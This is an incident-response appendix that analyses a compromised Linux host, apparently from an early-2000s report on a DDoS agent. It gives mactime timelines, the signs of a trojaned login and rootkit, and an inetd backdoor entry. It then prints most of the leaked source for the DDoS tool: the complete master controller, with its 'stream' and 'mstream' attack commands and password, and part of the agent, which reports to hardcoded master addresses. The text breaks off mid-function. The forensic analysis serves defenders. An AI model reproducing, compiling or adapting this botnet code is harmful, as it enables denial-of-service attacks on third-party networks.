Appendix D - Initial Intrusion and Concealment on Agent system
==============================================================
Examination of an agent system, and interviewing the owner,
identified what looks like possibly two separate compromises.
One sometime before March 31, 2000 (a password file entry for
"inertia" existed until removed by the system owner on April 1),
the transfer and installation of a rootkit (lrk4) and DDoS agent
("rpc.wall") on April 13 16:02 (all times, unless otherwise
noted, are US/Pacific, or GMT-0700), and the marks of an ADM
named attack and login on April 15 05:55. System logs had been
deleted and/or scrubbed, so log evidence was not useful in
determining what occurred on the system.
Some of these activities can still be identified using the
"mactime" program, part of Dan Farmer and Wietse Venema's
"Coroner's Toolkit". [The date "100" is, obviously, a Perl Y2K
bug in the "mactime" program. This software was graciously
provided by Dan Farmer, even though it is not publicly available
at this time. It definitely shows how useful Unix forensic
analysis tools can be.]
Apr 13 100 16:02:42 12060 .aa -rwxr-xr-x root/www root /bin/chown
12660 m.m -r-sr-xr-x root/www bin /bin/login
Apr 13 100 16:02:43 2048 mcmc drwxr-xr-x root/www root /bin
12660 cc -r-sr-xr-x root/www bin /bin/login
168748 .a. -rwxr-xr-x root/www root /usr/bin/as
64796 .a. -rwxr-xr-x root/www root /usr/bin/egcs
64796 .a. -rwxr-xr-x root/www root /usr/bin/gcc
64796 .a. -rwxr-xr-x root/www root /usr/bin/i386-redhat-linux-gcc
168496 .a. -rwxr-xr-x root/www root /usr/bin/ld
12656 m.c -rws--x--x root/www root /usr/bin/old
12656 m.c -r-xr-xr-x root/www bin /usr/bin/xstat
2315 .a. -rw-r--r-- root/www root /usr/include/_G_config.h
1313 .a. -rw-r--r-- root/www root /usr/include/alloca.h
4090 .a. -rw-r--r-- root/www root /usr/include/arpa/inet.h
3451 .a. -rw-r--r-- root/www root /usr/include/bits/byteswap.h
13327 .a. -rw-r--r-- root/www root /usr/include/bits/confname.h
168 .a. -rw-r--r-- root/www root /usr/include/bits/endian.h
2283 .a. -rw-r--r-- root/www root /usr/include/bits/errno.h
5107 .a. -rw-r--r-- root/www root /usr/include/bits/fcntl.h
4647 .a. -rw-r--r-- root/www root /usr/include/bits/in.h
3406 .a. -rw-r--r-- root/www root /usr/include/bits/posix_opt.h
2842 .a. -rw-r--r-- root/www root /usr/include/bits/select.h
4673 .a. -rw-r--r-- root/www root /usr/include/bits/sigset.h
1716 .a. -rw-r--r-- root/www root /usr/include/bits/sockaddr.h
9033 .a. -rw-r--r-- root/www root /usr/include/bits/socket.h
1297 .a. -rw-r--r-- root/www root /usr/include/bits/stdio_lim.h
2015 .a. -rw-r--r-- root/www root /usr/include/bits/time.h
4673 .a. -rw-r--r-- root/www root /usr/include/bits/types.h
1781 .a. -rw-r--r-- root/www root /usr/include/bits/uio.h
1798 .a. -rw-r--r-- root/www root /usr/include/endian.h
2481 .a. -rw-r--r-- root/www root /usr/include/errno.h
4579 .a. -rw-r--r-- root/www root /usr/include/fcntl.h
9433 .a. -rw-r--r-- root/www root /usr/include/features.h
5861 .a. -rw-r--r-- root/www root /usr/include/getopt.h
973 .a. -rw-r--r-- root/www root /usr/include/gnu/stubs.h
10291 .a. -rw-r--r-- root/www root /usr/include/libio.h
17327 .a. -rw-r--r-- root/www root /usr/include/netdb.h
10779 .a. -rw-r--r-- root/www root /usr/include/netinet/in.h
1591 .a. -rw-r--r-- root/www root /usr/include/netinet/in_systm.h
9086 .a. -rw-r--r-- root/www root /usr/include/netinet/ip.h
4855 .a. -rw-r--r-- root/www root /usr/include/netinet/tcp.h
2550 .a. -rw-r--r-- root/www root /usr/include/rpc/netdb.h
6467 .a. -rw-r--r-- root/www root /usr/include/stdint.h
20816 .a. -rw-r--r-- root/www root /usr/include/stdio.h
27654 .a. -rw-r--r-- root/www root /usr/include/stdlib.h
13245 .a. -rw-r--r-- root/www root /usr/include/string.h
2104 .a. -rw-r--r-- root/www root /usr/include/strings.h
4932 .a. -rw-r--r-- root/www root /usr/include/sys/cdefs.h
3359 .a. -rw-r--r-- root/www root /usr/include/sys/select.h
7996 .a. -rw-r--r-- root/www root /usr/include/sys/socket.h
1577 .a. -rw-r--r-- root/www root /usr/include/sys/sysmacros.h
5337 .a. -rw-r--r-- root/www root /usr/include/sys/time.h
5299 .a. -rw-r--r-- root/www root /usr/include/sys/types.h
1907 .a. -rw-r--r-- root/www root /usr/include/sys/uio.h
9314 .a. -rw-r--r-- root/www root /usr/include/time.h
36708 .a. -rw-r--r-- root/www root /usr/include/unistd.h
874 .a. -rw-r--r-- root/www root /usr/lib/crtn.o
1446620 .a. -rwxr-xr-x root/www root /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/cc1
46816 .a. -rwxr-xr-x root/www root /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/collect2
88444 .a. -rwxr-xr-x root/www root /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/cpp
1424 .a. -rw-r--r-- root/www root /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/crtend.o
5794 .a. -rw-r--r-- root/www root /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/stdarg.h
9834 .a. -rw-r--r-- root/www root /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/stddef.h
770000 .a. -rw-r--r-- root/www root /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/libgcc.a
1957 .a. -rw-r--r-- root/www root /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
178 .a. -rw-r--r-- root/www root /usr/lib/libc.so
69638 .a. -rw-r--r-- root/www root /usr/lib/libc_nonshared.a
6162 .a. -rw-r--r-- 1046 squid /usr/src/linux/include/asm-i386/errno.h
1492 .a. -rw-r--r-- 1046 squid /usr/src/linux/include/asm-i386/socket.h
277 .a. -rw-r--r-- 1046 squid /usr/src/linux/include/asm-i386/sockios.h
305 .a. -rw-r--r-- 1046 squid /usr/src/linux/include/linux/errno.h
Apr 13 100 16:02:44 702 mcmc -rwxr-xr-x root/www root /etc/rc.d/rc.local
1024 mcmc drwxr-xr-x root/www root /root/.ncftp
9 mcmc lrwxrwxrwx root/www root /root/.ncftp/history
9 mcmc lrwxrwxrwx root/www root /root/.ncftp/log
9 mcmc lrwxrwxrwx root/www root /root/.ncftp/trace
29696 m.c drwxr-xr-x root/www root /usr/bin
17016 m.c -rwxr-xr-x root/www root /usr/bin/rpc.wall
8460 .a. -rw-r--r-- root/www root /usr/lib/crt1.o
1124 .a. -rw-r--r-- root/www root /usr/lib/crti.o
1892 .a. -rw-r--r-- root/www root /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/crtbegin.o
. . .
Apr 15 100 05:55:09 1024 mcmc drwxr-xr-x root/www root /var/named
1024 mcmc drwxr-xr-x root/www root /var/named/ADMROCKS
Apr 15 100 05:56:19 20437 .a. -rwxr-xr-x root/www root /usr/sbin/tcpd
Apr 15 100 05:56:20 34 .aa -rw-r--r-- root/www root /usr/libexec/awk/addy.awk
35628 .a. -rwxr-xr-x root/www root /usr/sbin/in.telnetd
Apr 15 100 05:56:26 159576 .a. -rwxr-xr-x root/www root /usr/bin/pico
975 .a. -rw-r--r-- root/www root /usr/share/terminfo/v/vt200
975 .a. -rw-r--r-- root/www root /usr/share/terminfo/v/vt220
From this listing, the following observations can be made:
o On April 13 at 16:02, /bin/login was created and /bin/chown run.
o At the same time, the compile was run (gcc/egcs) and /bin/old
and /bin/xstat created. Access times on the .h files listed
show the program being compiled uses network libraries.
o Next, the /etc/rc.d/rc.local file is modified to include the
line "/usr/bin/rpc.wall" at the end, thus re-starting the agent
on each reboot. ncftp logging files are modified (they were
deleted and turned into links to /dev/null to disable logging
of ncftp file transfers.)
o The program /usr/bin/rpc.wall was modified, and C runtime
libraries accessed, which implies it was run. (This cannot be
confirmed because the rootkit prevented the program from being
seen by the administrator, who also rebooted the system and
restarted it, thus modifying the /usr/bin/rpc.wall access date.)
o On April 15 at 05:55, it appears that the ADM named buffer
overrun exploit was used against this system, followed within
the minute access to a tcpd wrapped service which invoked
in.telnetd. The rootkit configuration file
/usr/libexec/awk/addy.awk was also accessed. [It is not clear
if this was a just a coincidental second (third?) intrusion
attempt.]
o Six seconds later /usr/bin/pico was run and the vt200 terminfo
definition was accessed. Since the trojan version of login
contains the string "vt200", this confirms the backdoor that
was installed two days earlier was used to gain root access.
While the /etc/passwd entry for the "inertia" account had been
deleted by the administrator of the system, the /etc/shadow entry
(original modification date not known) was not:
inertia:iUCNir1cd8pI2:::::::
The password, "hi", was cracked in a fraction of a second.
Strings in "/bin/login" show the classic trojan horse signs of a
path to a non-standard program ("/usr/bin/xstat") and embedded
terminal type ("vt200") that triggers a root shell:
. . .
login
/bin/sh
/usr/bin/xstat
TERM
bcshjvmudzwxftejk
vt200
%s=%s
init.c
. . .
Strings in "/bin/ls" and "/bin/ps" show the names of the rootkit
configuration files to be "/usr/libexec/awk/files.awk" and
"/usr/libexec/awk/ps.awk" (respectively). Another configuration
file is seen above, "/usr/libexec/awk/addy.awk". The big tipoff
that this is a standard Linux rootkit is the compiler inserted
debugging information that includes the (edited) path to the
source file, which had better not be a valid path on Red Hat's
development system:
. . .
ls.c
/home/XXXXX/stuff/lrk4/fileutils-3.13/src/
gcc2_compiled.
int:t1=r1;-2147483648;2147483647;
char:t2=r2;0;127;
. . .
Since telnetd was not otherwise used on the system (instead SSH
was used for remote login), the intruder placed an entry (date
unknown) in /etc/inetd.conf to run in.telnetd as service
"working":
. . .
#finger stream tcp nowait root /usr/sbin/tcpd in.fingerd
#cfinger stream tcp nowait root /usr/sbin/tcpd in.cfingerd
#systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx
#netstat stream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet
working stream tcp nowait root /usr/sbin/tcpd in.telnetd
. . .
The following entry was added (date unknown) to the /etc/services
file for this service:
working 1120/tcp # Kerberos working daemon
This service port is shown in (edited) "lsof" output as listening:
inetd 353 root 4u IPv4 375 UDP *:talk
inetd 353 root 5u IPv4 376 UDP *:ntalk
inetd 353 root 6u IPv4 377 TCP *:working (LISTEN)
inetd 353 root 8u IPv4 378 TCP *:time (LISTEN)
inetd 353 root 10u IPv4 379 UDP *:time
inetd 353 root 11u IPv4 380 TCP *:auth (LISTEN)
inetd 353 root 12u IPv4 381 TCP *:linuxconf (LISTEN)
It was noted earlier that the trojan version of /bin/login allows
access using a terminal type of "vt200" (as seen by strings in
the binary), and that the mactime output shows the termcap
entries for vt200 are accessed right after the backdoor
in.telnetd was accessed. This places the last login to the
system using this backdoor at approximately 05:56 on April 15
(per the system's clock). This is within the time window of one
of the attacks logged by the network operations engineers (Apr 15
04:11:35 to 07:32:22).
The code was made available anonymously to Internet community.
It's not known if this source code has seen the light of day prior
to now, so your mileage will definitely vary.
Makefile:
CC = gcc
# -g is so i can debug it better :P
# -Wall so i can be happy
CFLAGS = -g -Wall
all: master server
clean:
rm -f master server
master: master.c
$(CC) $(CFLAGS) -o master master.c
server: server.c
$(CC) $(CFLAGS) -o server server.c
master.c
/* spwn */
#define PASSWORD "sex"
#define SERVERFILE ".sr"
#define MASTER_TCP_PORT 6723
#define MASTER_UDP_PORT 9325
#define SERVER_PORT 7983
#define MAXUSERS 3
#define USED 1
#define AUTH 2
#define max(one, two) (one > two ? one : two)
#define MAX_IP_LENGTH 17
#define MAX_HOST_LENGTH 200
#include <unistd.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/uio.h>
#include <signal.h>
/* prototypes for my functions */
void sighandle (int);
int maxfd (int, int);
void prompt (int);
void tof (char *);
void fof (char *);
void send2server (u_long, char *, ...);
void forkbg (void);
void nlstr (char *);
void sendtoall (char *, ...);
char *inet_ntoa (struct in_addr);
u_long inet_addr (const char *);
int findfree (void);
/* end of prototypes */
typedef struct _socks {
int fd;
int opts;
int idle;
char *ip;
} socks;
socks users[MAXUSERS];
int main (int argc, char *argv[])
{
fd_set readset;
int i, tcpfd, udpfd, socksize, pongs = 0;
struct sockaddr_in udpsock, tcpsock, remotesock;
struct timeval t;
char ibuf[1024], obuf[1024], *arg[3];
signal(SIGINT, sighandle);
signal(SIGHUP, sighandle);
signal(SIGSEGV, sighandle);
socksize = sizeof(struct sockaddr);
if ((tcpfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
perror("socket");
exit(0);
}
if ((udpfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror("socket");
exit(0);
}
tcpsock.sin_family = AF_INET;
tcpsock.sin_port = htons(MASTER_TCP_PORT);
tcpsock.sin_addr.s_addr = INADDR_ANY;
memset(&tcpsock.sin_zero, 0, 8);
if (bind(tcpfd, (struct sockaddr *)&tcpsock, sizeof(struct sockaddr)) == -1) {
perror("bind");
exit(0);
}
if (listen(tcpfd, MAXUSERS+1) == -1) {
perror("listen");
exit(0);
}
i = 1;
if (setsockopt(tcpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
perror("setsockopt");
exit(0);
}
i = 1;
if (setsockopt(tcpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
perror("setsockopt");
exit(0);
}
if (fcntl(tcpfd, F_SETFL, O_NONBLOCK) == -1) {
perror("fcntl");
exit(0);
}
udpsock.sin_family = AF_INET;
udpsock.sin_port = htons(MASTER_UDP_PORT);
udpsock.sin_addr.s_addr = INADDR_ANY;
memset(&udpsock.sin_zero, 0, 8);
if (bind(udpfd, (struct sockaddr *)&udpsock, sizeof(struct sockaddr)) == -1) {
perror("bind");
exit(0);
}
i = 1;
if (setsockopt(udpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
perror("setsockopt");
exit(0);
}
i = 1;
if (setsockopt(udpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
perror("setsockopt");
exit(0);
}
for (i = 0 ; i <= MAXUSERS ; i++) {
users[i].opts = (0 & ~USED);
}
forkbg();
t.tv_sec = 2;
t.tv_usec = 1;
for (;;) {
for (i = 0 ; i <= MAXUSERS ; i++)
if (users[i].opts & USED)
if ((time(0) - users[i].idle) > 420) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\nYou're too idle !\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
close(users[i].fd);
users[i].opts &= ~USED;
}
FD_ZERO(&readset);
FD_SET(tcpfd, &readset);
FD_SET(udpfd, &readset);
for (i = 0 ; i <= MAXUSERS ; i++) {
if (users[i].opts & USED) FD_SET(users[i].fd, &readset);
}
if (select(maxfd(tcpfd, udpfd)+1, &readset, NULL, NULL, &t) == -1) continue;
if (FD_ISSET(tcpfd, &readset)) {
int socknum;
u_long ip;
struct hostent *hp;
if ((socknum = findfree()) == -1) {
socknum = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
close(socknum);
continue;
}
users[socknum].fd = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
for (i = 0 ; i <= MAXUSERS ; i++) {
if (users[i].opts & USED) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "\nConnection from %s\n", inet_ntoa(remotesock.sin_addr));
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
}
}
users[socknum].opts = (USED & ~AUTH);
ip = remotesock.sin_addr.s_addr;
if ((hp = gethostbyaddr((char *)&ip, sizeof ip, AF_INET)) == NULL) {
users[socknum].ip = (char *) malloc(MAX_IP_LENGTH);
strncpy(users[socknum].ip, inet_ntoa(remotesock.sin_addr), MAX_IP_LENGTH-1);
} else {
users[socknum].ip = (char *) malloc(MAX_HOST_LENGTH);
strncpy(users[socknum].ip, hp->h_name, MAX_HOST_LENGTH-1);
}
users[socknum].idle = time(0);
}
if (FD_ISSET(udpfd, &readset)) {
memset(&ibuf, 0, sizeof ibuf);
if (recvfrom(udpfd, &ibuf, (sizeof ibuf)-1, 0, (struct sockaddr *)&remotesock, &socksize) <= 0) continue;
nlstr(ibuf);
if (!strcmp(ibuf, "newserver")) {
FILE *f;
char line[1024];
int i;
if ((f = fopen(SERVERFILE, "r")) == NULL) {
f = fopen(SERVERFILE, "w");
fclose(f);
continue;
}
while (fgets(line, (sizeof line)-1, f)) {
nlstr(line);
fof(line);
nlstr(line);
if (!strcmp(line, inet_ntoa(remotesock.sin_addr))) {
continue;
}
}
fclose(f);
if ((f = fopen(SERVERFILE, "a")) == NULL) continue;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf,(sizeof obuf)-1, "%s\n", inet_ntoa(remotesock.sin_addr));
tof(obuf);
fprintf(f, "%s\n", obuf);
for (i = 0 ; i <= MAXUSERS ; i++)
if (users[i].opts & USED) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "\nNew server on %s.\n", inet_ntoa(remotesock.sin_addr));
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
}
fclose(f);
}
if (!strcmp(ibuf, "pong")) {
pongs++;
for (i = 0 ; i <= MAXUSERS ; i++) {
if (users[i].opts & USED) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "\nGot pong number %d from %s\n", pongs, inet_ntoa(remotesock.sin_addr));
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
}
}
}
}
for (i = 0 ; i <= MAXUSERS ; i++) {
if (users[i].opts & USED) {
if (FD_ISSET(users[i].fd, &readset)) {
if (!(users[i].opts & AUTH)) {
int x;
memset(&ibuf, 0, sizeof ibuf);
if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
int y;
users[i].opts = (~AUTH & ~USED);
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "%s has disconnected (not auth'd): %s\n", users[i].ip, strerror(errno));
for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
close(users[i].fd);
free(users[i].ip);
continue;
}
users[i].idle = time(0);
for (x = 0 ; x <= strlen(ibuf) ; x++) {
if (ibuf[x] == '\n') ibuf[x] = '\0';
if (ibuf[x] == '\r') ibuf[x] = '\0';
}
if (strcmp(ibuf, PASSWORD)) {
int y;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "Invalid password from %s.\n", users[i].ip);
for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && (y != i)) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
free(users[i].ip);
close(users[i].fd);
users[i].opts = (~AUTH & ~USED);
continue;
}
for (x = 0 ; x <= MAXUSERS ; x++) {
if ((users[x].opts & USED) && (x != i)) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "\nPassword accepted for connection from %s.\n", users[i].ip);
send(users[x].fd, &obuf, strlen(obuf), 0);
prompt(users[x].fd);
}
}
users[i].opts |= AUTH;
prompt(users[i].fd);
continue;
}
memset(&ibuf, 0, sizeof ibuf);
if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
int y;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "Lost connection to %s: %s\n", users[i].ip, strerror(errno));
for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
free(users[i].ip);
close(users[i].fd);
users[i].opts = (~AUTH & ~USED);
continue;
}
arg[0] = strtok(ibuf, " ");
arg[1] = strtok(NULL, " ");
arg[2] = strtok(NULL, " ");
arg[3] = NULL;
if (arg[2]) nlstr(arg[2]);
if (!strncmp(arg[0], "stream", 6)) {
struct hostent *hp;
struct in_addr ia;
if ((!arg[1]) || (!arg[2])) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "Usage: stream <hostname> <seconds>\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
continue;
}
if ((hp = gethostbyname(arg[1])) == NULL) {
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "Unable to resolve %s.\n", arg[1]);
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
continue;
}
memcpy(&ia.s_addr, &hp->h_addr, hp->h_length);
sendtoall("stream/%s/%s", inet_ntoa(ia), arg[2]);
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "Streaming %s for %s seconds.\n", arg[1], arg[2]);
send(users[i].fd, &obuf, strlen(obuf), 0);
}
if (!strncmp(arg[0], "quit", 4)) {
int y;
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "%s has disconnected.\n", users[i].ip);
for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && y != i) {
send(users[y].fd, &obuf, strlen(obuf), 0);
prompt(users[y].fd);
}
free(users[i].ip);
close(users[i].fd);
users[i].opts = (~AUTH & ~USED);
continue;
}
if (!strncmp(arg[0], "servers", 7)) {
FILE *f;
char line[1024];
if ((f = fopen(SERVERFILE, "r")) == NULL) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\nServer file doesn't exist, creating ;)\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
f = fopen(SERVERFILE, "w");
fclose(f);
prompt(users[i].fd);
continue;
}
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "The following ips are known servers: \n");
send(users[i].fd, &obuf, strlen(obuf), 0);
while (fgets(line, (sizeof line)-1, f)) {
nlstr(line);
fof(line);
send(users[i].fd, &line, strlen(line), 0);
}
fclose(f);
}
if (!strncmp(arg[0], "help", 4) || !strncmp(arg[0], "commands", 8)) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\nAvailable commands: \n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "stream\t\t--\tstream attack !\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "servers\t\t--\tPrints all known servers.\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "ping\t\t--\tping all servers.\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "who\t\t--\ttells you the ips of the people logged in\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "mstream\t\t--\tlets you stream more than one ip at a time\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
}
if (!strncmp(arg[0], "who", 3)) {
int x;
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\nCurrently Online: \n");
send(users[i].fd, &obuf, strlen(obuf), 0);
for (x = 0 ; x <= MAXUSERS ; x++) {
memset(&obuf, 0, sizeof obuf);
if (users[x].opts & USED && users[x].opts & AUTH) {
snprintf(obuf, (sizeof obuf)-1, "Socket number %d\t[%s]\n", x, users[x].ip);
send(users[i].fd, &obuf, strlen(obuf), 0);
}
}
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
}
if (!strncmp(arg[0], "ping", 4)) {
pongs = 0;
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "Pinging all servers.\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
sendtoall("ping");
}
if (!strncmp(arg[0], "mstream", 7)) {
if ((!arg[1]) || (!arg[2])) {
memset(&obuf, 0, sizeof obuf);
sprintf(obuf, "Usage: mstream <ip1:ip2:ip3:...> <seconds>\n");
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
continue;
}
memset(&obuf, 0, sizeof obuf);
snprintf(obuf, (sizeof obuf)-1, "MStreaming %s for %s seconds.\n", arg[1], arg[2]);
send(users[i].fd, &obuf, strlen(obuf), 0);
sendtoall("mstream/%s/%s\n", arg[1], arg[2]);
}
prompt(users[i].fd);
}
}
}
}
}
int findfree (void) {
int i;
for (i = 0 ; i <= MAXUSERS ; i++) {
if (!(users[i].opts & USED)) return i;
}
return -1;
}
void forkbg (void) {
int pid;
pid = fork();
if (pid == -1) {
perror("fork");
exit(0);
}
if (pid > 0) {
printf("Forked into background, pid %d\n", pid);
exit(0);
}
}
void nlstr (char *str) {
int i;
for (i = 0 ; str[i] != NULL ; i++)
if ((str[i] == '\n') || (str[i] == '\r')) str[i] = '\0';
}
void send2server (u_long addr, char *str, ...) {
va_list vl;
char buf[1024];
int fd;
struct sockaddr_in sock;
va_start(vl, str);
vsnprintf(buf, (sizeof buf)-1, str, vl);
va_end(vl);
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
sock.sin_family = AF_INET;
sock.sin_port = htons(SERVER_PORT);
sock.sin_addr.s_addr = addr;
memset(&sock.sin_zero, 0, 8);
sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
}
void tof (char *str) {
int i;
for (i = 0 ; str[i] != 0 ; i++)
str[i]+=50;
}
void fof (char *str) {
int i;
for (i = 0 ; str[i] != 0 ; i++)
str[i]-=50;
}
void sendtoall (char *str, ...) {
va_list vl;
char buf[1024], line[1024];
struct sockaddr_in sock;
int fd;
FILE *f;
va_start(vl, str);
vsnprintf(buf, (sizeof buf)-1, str, vl);
va_end(vl);
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
sock.sin_family = AF_INET;
sock.sin_port = htons(SERVER_PORT);
memset(&sock.sin_zero, 0, 8);
if ((f = fopen(SERVERFILE, "r")) == NULL) {
f = fopen(SERVERFILE, "w");
fclose(f);
return;
}
while (fgets(line, (sizeof line)-1, f)) {
nlstr(line);
fof(line);
nlstr(line);
sock.sin_addr.s_addr = inet_addr(line);
sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
}
}
void prompt (int fd) {
char buf[5];
memset(&buf, 0, sizeof buf);
sprintf(buf, "> ");
send(fd, &buf, strlen(buf), 0);
}
int maxfd (int extra1, int extra2) {
int mfd = 0, i;
for (i = 0 ; i <= MAXUSERS ; i++)
if (users[i].opts & USED)
mfd = max(mfd, users[i].fd);
mfd = max(max(extra1, extra2), mfd);
return mfd;
}
void sighandle (int sig) {
int i;
char obuf[1024];
memset(&obuf, 0, sizeof obuf);
switch (sig) {
case SIGHUP:
snprintf(obuf, (sizeof obuf)-1, "Caught SIGHUP, ignoring.\n");
break;
case SIGINT:
snprintf(obuf, (sizeof obuf)-1, "Caught SIGINT, ignoring.\n");
break;
case SIGSEGV:
snprintf(obuf, (sizeof obuf)-1, "Segmentation Violation, Exiting cleanly..\n");
break;
default:
snprintf(obuf, (sizeof obuf)-1, "Caught unknown signal, This should not happen.\n");
}
for (i = 0 ; i <= MAXUSERS ; i++)
if ( (users[i].opts & USED) && (users[i].opts & AUTH) ) {
send(users[i].fd, &obuf, strlen(obuf), 0);
prompt(users[i].fd);
}
if (sig == SIGSEGV) exit(1);
}
server.c
/* spwn */
char *m[]={
"1.1.1.1", /* first master */
"2.2.2.2", /* second master */
"3.3.3.3", /* third master etc */
0 };
#define MASTER_PORT 9325
#define SERVER_PORT 7983
#include <sys/time.h>
#include <strings.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/uio.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
void forkbg (void);
void send2master (char *, struct in_addr);
void stream (int, int, u_long, char **);
void nlstr (char *);
int main (int argc, char *argv[])
{
struct in_addr ia;
struct sockaddr_in sock, remote;
int fd, socksize, opt = 1, i;
char buf[1024];
if (getuid() != 0) {
fprintf(stderr, "Must be ran as root.\n");
exit(0);
}
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror("socket");
exit(0);
}
sock.sin_family = AF_INET;
sock.sin_port = htons(SERVER_PORT);
sock.sin_addr.s_addr = INADDR_ANY;
memset(&sock.sin_zero, 0, 8);
if (bind(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1) {
perror("bind");
exit(0);
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(int)) == -1) {
perror("setsockopt");
exit(0);
}
forkbg();
for (i = 0 ; m[i] != 0 ; i++) {
ia.s_addr = inet_addr(m[i]);
send2master("newserver", ia);
}
for (;;) {
socksize = sizeof(struct sockaddr);
memset(&buf, 0, sizeof buf);
if (recvfrom(fd, &buf, (sizeof buf)-1, 0, (struct sockaddr *)&remote, &socksize) <= 0) continue;
if (!strncmp(buf, "stream", 6)) {
char *ip;
int seconds;
nlstr(buf);
(void)strtok(buf, "/");
ip = strtok(NULL, "/");
seconds = atoi(strtok(NULL, "/"));
stream(0, (seconds + time(0)), inet_addr(ip), NULL);
}
if (!strncmp(buf, "mstream", 7)) {
char *ips, *ipps[50], *tmpip;
int seconds, y = 1;
nlstr(buf);
(void)strtok(buf, "/");
ips = strtok(NULL, "/");
seconds = atoi(strtok(NULL, "/"));
